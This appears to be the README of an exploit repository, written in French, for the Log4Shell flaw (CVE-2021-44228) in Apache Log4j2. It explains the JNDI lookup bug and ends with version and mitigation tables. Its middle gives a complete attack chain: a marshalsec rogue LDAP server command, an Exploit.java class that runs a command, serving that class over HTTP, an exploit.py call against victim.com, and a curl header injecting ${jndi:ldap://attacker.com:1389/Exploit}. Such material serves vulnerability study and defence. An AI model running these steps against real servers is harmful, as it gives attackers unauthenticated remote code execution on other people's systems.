
CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE
CVSS 10.0 CRITIQUE | CWE-502 : Désérialisation de données non fiables | CWE-917 : Neutralisation inadéquate pour l'injection de langage d'expression
Log4Shell (CVE-2021-44228) est sans doute la vulnérabilité la plus grave des années 2020, affectant les versions 2.0 à 2.14.1 d'Apache Log4j2. Découverte par Chen Zhaojun d'Alibaba Cloud Security en novembre 2021 et divulguée publiquement le 9 décembre 2021, elle permet l'exécution de code à distance sans authentification sur des centaines de millions de serveurs dans le monde entier.
La vulnérabilité provient de la fonctionnalité de recherche JNDI (Java Naming and Directory Interface) de Log4j2, qui autorise des chaînes de recherche arbitraires comme ${jndi:ldap://attacker.com/a} dans les messages de journalisation. Lorsqu'une chaîne contrôlée par l'utilisateur contenant un tel motif est journalisée, Log4j2 effectue la recherche JNDI, ce qui peut charger et exécuter des classes Java distantes.
Log4j2 a introduit une fonctionnalité appelée « Message Lookup » qui remplace les motifs ${...} dans les messages de journalisation par des valeurs provenant de diverses sources (JNDI, variables d'environnement, propriétés système, etc.). La classe JndiLookup (org.apache.logging.log4j.core.lookup.JndiLookup) appelle InitialContext.lookup() sur des chaînes contrôlées par l'attaquant sans assainissement approprié.
// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
if (key == null) {
return null;
}
try {
// Directly passes attacker-controlled key to JNDI lookup
return JndiManager.getJndiManager().lookup(key);
} catch (...
La méthode lookup() délègue à javax.naming.InitialContext.lookup(), qui peut charger des objets distants depuis des serveurs LDAP, RMI, DNS ou CORBA.
1. L'attaquant prépare la charge utile : ${jndi:ldap://attacker.com/a}
2. La charge utile entre dans le contexte applicatif (en-tête HTTP, saisie utilisateur, etc.)
3. L'application journalise la charge utile (par ex. via la journalisation des requêtes)
4. Log4j2 traite le motif ${...} et appelle JndiLookup
5. La recherche JNDI interroge le serveur LDAP contrôlé par l'attaquant
6. Le serveur LDAP répond avec une référence (Reference) pointant vers la classe Java de l'attaquant
7. Log4j2 / la JVM récupère et charge la classe distante
8. La classe de l'attaquant exécute du code arbitraire dans la JVM de l'application
Utilisez marshalsec pour démarrer un serveur LDAP malveillant :
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
// Exploit.java
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java
python3 -m http.server 80 # Serve Exploit.class
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'
Ou via un en-tête HTTP :
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com
Le fichier exploit.py inclus fournit :
| Version | Statut |
|---|
| Log4j 2.0 – 2.14.1 | Vulnérable |
| Log4j 2.15.0-rc1 | Correctif partiel (contournement CVE-2021-45046) |
| Log4j 2.15.0 | Correctif limité (JNDI désactivé par défaut, recherches limitées) |
| Log4j 2.16.0 | JNDI désactivé, Message Lookups supprimés |
| Log4j 2.17.0 | Correctif final pour 2.x (CVE-2021-44832) |
| Log4j 1.x | Pas directement concerné (base de code différente) |
| Approche | Détails |
|---|
| Mettre à niveau Log4j | Mettre à jour vers 2.17.0+ (2.x) ou 2.12.4+ (Java 7) |
| Option JVM | -Dlog4j2.formatMsgNoLookups=true |
| Supprimer JndiLookup | zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class |
| Règles WAF | Bloquer les motifs ${jndi: dans les requêtes |
| Contrôles réseau | Bloquer les connexions LDAP/RMI sortantes vers des serveurs non fiables |